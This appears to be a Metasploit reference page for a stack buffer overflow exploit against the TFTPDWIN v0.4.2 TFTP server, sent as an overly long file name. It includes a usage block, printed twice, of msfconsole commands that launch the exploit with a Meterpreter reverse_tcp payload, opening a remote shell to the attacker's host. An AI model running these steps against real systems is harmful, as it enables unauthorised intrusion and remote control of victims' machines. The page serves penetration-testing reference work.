TFTPDWIN v0.4.2 Long Filename Buffer Overflow
This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending an overly long file name to the tftpd.exe server, the stack can be overwritten.
Exploit Rank
- Great
Exploit Authors
- patrick < patrick [at] osisecurity.com.au >
Vulnerability References
Exploit Targets
- 0 - Universal - tftpd.exe (default)
Exploit Development
Similar Exploit Modules
- exploit/windows/tftp/attftp_long_filename
- exploit/windows/tftp/distinct_tftp_traversal
- exploit/windows/tftp/dlink_long_filename
- exploit/windows/tftp/futuresoft_transfermode
- exploit/windows/tftp/opentftp_error_code
- exploit/windows/tftp/quick_tftp_pro_mode
- exploit/windows/tftp/tftpd32_long_filename
- exploit/windows/tftp/tftpserver_wrq_bof
- exploit/windows/tftp/threectftpsvc_long_mode
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/tftp/tftpdwin_long_filename
msf exploit(tftpdwin_long_filename) > show payloads
msf exploit(tftpdwin_long_filename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(tftpdwin_long_filename) > set LHOST [MY IP ADDRESS]
msf exploit(tftpdwin_long_filename) > set RHOST [TARGET IP]
msf exploit(tftpdwin_long_filename) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/tftp/tftpdwin_long_filename
msf exploit(tftpdwin_long_filename) > show payloads
msf exploit(tftpdwin_long_filename) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(tftpdwin_long_filename) > set LHOST [MY IP ADDRESS]
msf exploit(tftpdwin_long_filename) > set RHOST [TARGET IP]
msf exploit(tftpdwin_long_filename) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 69) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
